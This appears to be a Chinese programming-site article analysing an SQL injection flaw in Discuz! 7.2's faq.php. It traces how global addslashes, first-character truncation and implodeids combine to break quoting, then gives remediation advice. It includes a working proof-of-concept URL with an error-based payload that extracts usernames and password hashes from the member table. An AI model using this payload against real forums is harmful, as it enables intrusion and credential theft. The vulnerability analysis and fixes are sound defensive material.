首頁
編程語言
C語言|JAVA編程
Python編程
網頁編程
ASP編程|PHP編程
JSP編程
數據庫
MYSQL數據庫|SqlServer數據庫
Oracle數據庫|DB2數據庫
您现在的位置: 程式碼之家 >> 編程語言 >  >> 網頁程式設計 >> PHP 程式設計 >> PHP 相關知識

Discuz! 7.2 FAQ.php SQL注入漏洞深度分析:從addslashes繞過到implodeids利用

     編輯:PHP 相關知識

漏洞概覽

  • 影響版本:Discuz! 7.2
  • 漏洞文件:faq.php
  • 觸發參數:action=grouppermission 且 gids 為數組
  • 核心原因:addslashes 全局轉義後,取數組首字符導致單引號轉義符被截取,經 implodeids 拼接進 SQL 造成注入。

漏洞利用 POC

https://www.example.com/faq.php?action=grouppermission
&gids[99]=%27
&gids[100][0]=) and (select 1 from (select count(*),concat((select (select (select concat(username,0x20,password) from cdb_members limit 0,1) ) from `information_schema`.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)%23

URL 解碼後的 gids 結構:

gids[99] = '
gids[100][0] = ) and (select ... )#

代碼流程還原

1. 入口 faq.php 片段

if ($action == 'grouppermission') {
    // ...
    ksort($gids);                    // $_GET['gids'] 經全局 addslashes 轉義
    $groupids = [];
    foreach ($gids as $row) {
        $groupids[] = $row[0];       // 關鍵:取字符串第一個字符
    }
    $query = $db->query("SELECT * FROM {$tablepre}usergroups u 
        LEFT JOIN {$tablepre}admingroups a ON u.groupid=a.admingid 
        WHERE u.groupid IN (" . implodeids($groupids) . ")");
}

2. implodeids 函數

function implodeids($array) {
    if (!empty($array)) {
        return "'" . implode("','", is_array($array) ? $array : array($array)) . "'";
    }
    return '';
}

漏洞利用鏈條分析

  1. 全局轉義:Discuz 入口對 $_GET 執行 addslashes,單引號 ' 變為 \'(反斜杠 + 單引號);
  2. 截取首字符:$row[0] 取轉義後字符串的第一個字符——即反斜杠 \;
  3. 構造注入數組:
    • gids[99] = ' → 轉義為 \' → 取首字符 \ 存入 $groupids[0];
    • gids[100][0] = ) and ... # → 首字符 ) 存入 $groupids[1];
  4. implodeids 拼接:'\\',')' → 生成 SQL 片段 '\\',')';
  5. 單引號閉合:第一個值 '\\ 中的反斜杠轉義了拼接的第二個單引號,導致第三個單引號(原本包裹第二個值的)與第一個值開頭的單引號閉合,) 及後續負載成功注入。

SQL 最終形態(簡化)

SELECT ... WHERE u.groupid IN ('\\',') and (select ...) #')

實際執行:

SELECT ... WHERE u.groupid IN ('\' , ') and (select ...) #')

\' 被視為轉義後的單引號字面量,第二個 ' 被轉義失效,第三個 ' 與第一個閉合,) 閉合 IN (,隨後負載執行。

修復建議

  1. 參數化查詢:使用預處理語句,徹底分離代碼與數據;
  2. 強類型驗證:gids 應為純數字 ID 數組,入口處 intval 強制轉換;
  3. 避免首字符截取:直接使用完整值,或用 array_map('intval', $gids);
  4. 升級框架:Discuz 7.2 極其老舊,建議遷移至 Discuz X 系列或現代框架。

相關問答彙總

Discuz 7.2 有多少漏洞?

官方早已停止維護,已知漏洞數十個(SQLi、XSS、文件上傳、代碼執行等),生產環境嚴禁使用。

模板中如何運行 PHP?

後台 → 界面 → 模板管理 → 添加調用 → 輸入 PHP 代碼 → 生成調用標籤嵌入模板。但強烈不推薦,極易引入安全風險。

  1. 上一篇文章:
  2. 下一篇文章:
Copyright © 程式碼之家 All Rights Reserved